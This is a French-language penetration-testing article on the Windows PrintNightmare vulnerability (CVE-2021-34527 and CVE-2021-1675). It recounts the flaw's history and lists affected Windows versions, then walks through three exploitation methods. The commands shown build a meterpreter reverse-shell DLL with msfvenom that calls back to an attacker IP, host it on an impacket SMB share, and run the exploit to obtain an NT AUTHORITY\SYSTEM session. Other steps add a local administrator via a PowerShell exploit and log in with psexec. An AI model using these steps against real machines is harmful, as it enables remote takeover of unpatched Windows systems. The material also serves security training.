🖨️PrintNightmare
Print Spooler est sur le radar des chercheurs depuis que le ver Stuxnet a utilisé la vulnérabilité d'escalade de privilèges du spooler d'impression pour se propager à travers le réseau dans les centrifugeuses d'enrichissement nucléaire de l'Iran et a infecté plus de 45 000 réseaux. PrintNightmare est le nom commun donné à une vulnérabilité d'exécution de code à distance dans le service Print Spooler (spoolsv.exe) dans les systèmes d'exploitation Microsoft Windows. La vulnérabilité a été attribuée CVE-2021-34527. Initialement, il était considéré comme une escalade de privilèges locaux (LPE) et attribué CVE-2021-1675. Des correctifs immédiats pour le LPE ont été publiés en juin 2021 et étaient marqués comme étant de faible gravité. Environ 2 semaines plus tard, Microsoft a changé le statut de faible gravité de LPE en sévère car il a été constaté que les correctifs avaient été contournés et que l'exécution de code à distance avait atteint la CVE-2021-34527 attribuée. Il y a eu une controverse après un malentendu entre les auteurs et Microsoft où l'exploit RCE a été publié sur GitHub avant les correctifs, ce qui en fait une vulnérabilité 0-day. Cependant, il a été immédiatement annulé. Dans cet article, nous nous concentrerons sur l'escalade de privilèges à l'aide de cette vulnérabilité du spouleur d'impression. La traction qu'il a obtenue en 2021 en a fait la vulnérabilité de l'année.
Versions concernées
Windows_10:20h2, Windows_10:21h1, Windows_10:1607,
Windows_10:1809, Windows_10:1909, Windows_10:2004,
Windows_7sp1, Windows_8.1, Windows_rt_8.1,
Windows_Server_2008, Windows_Server_2008,
Windows_Server_2012, Windows_Server_2012:r2,
Windows_Server_2016, Windows_Server_2016:20h2,
Windows_Server_2016:2004, Windows_Server_2019
Windows_10:20h2, Windows_10:21h1, Windows_10:1607,
Windows_10:1809, Windows_10:1909, Windows_10:2004,
Windows_7sp1, Windows_8.1, Windows_rt_8.1,
Windows_Server_2008, Windows_Server_2008,
Windows_Server_2012, Windows_Server_2012:r2,
Windows_Server_2016, Windows_Server_2016:20h2,
Windows_Server_2016:2004, Windows_Server_2019
Exploitation
Méthode 1 - RCE avec python
Il s'agit de la méthode relative à CVE-2021-34527 (exécution de code à distance en tant qu'administrateur).
Vérification de la vulnérabilité
Si la cible est vulnérable:
Tout d'abord, nous devons créer un fichier DLL malveillant qui s'exécutera en tant qu'ADMINISTRATEUR. Nous utilisons msfvenom pour cela.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f dll -o evil.dll
Ensuite, nous devons ouvrir un multi handler sur notre machine pour recevoir le reverse shell.
Maintenant, nous devons cloner le dépôt github.
Une dernière étape restante consiste à héberger la DLL malveillante dans notre serveur SAMBA. Vous pouvez configurer manuellement un serveur samba dans Kali, utiliser l'hôte Windows pour l'héberger ou l'approche la plus simple consiste à utiliser le serveur smb d'impacket.
Ajoutez le nom de partage que vous voulez (dans mon cas, "partage") puis indiquez le chemin où vous avez enregistré la DLL malveillante.
$ python3 /usr/share/doc/python3-impacket/examples/smbserver.py partage /root
Il ne reste à présent plus qu'à lancer l'exploit.
$ ./CVE-2021-34527.py <username>:<password>@<target IP> '\\<attacker IP>\partage\evil.dll'
Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.
Méthode 2 - PrintNightmare LPE avec Powershell
Nous avons vu l'exploit distant relatif à CVE 2021-34527. Maintenant, nous allons voir l'ancien exploit d'escalade de privilèges locaux.
Il faut ensuite créer un serveur http pour y placer l'exploit.
On va ensuite télécharger l'exploit depuis la machine cible comme ceci:
On doit donc normalement retrouver le fichier cve.ps1.
On peut donc maintenant lancer l'exploit.
Normalement la dll crée a du ajouter un nouvel utilisateur, on peut le vérifier avec la commande >net localgroup administrators
Si tout s'est bien passé, on peut alors se connecter sur cet utilisateur à l'aide de psexec.
$ python3 psexec.py <username>:<password>@<target IP>
Méthode 3 - PrintNightmare LPE avec Mimikatz
Sur notre machine:
créer le payload evil.dll et le mettre dans un server SMB puis ouvrir un multi handler
Sur la machine cible:
Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.
CVE-2021-1675.py
ressource: https://github.com/cube0x0/CVE-2021-1675
Dernière mise à jour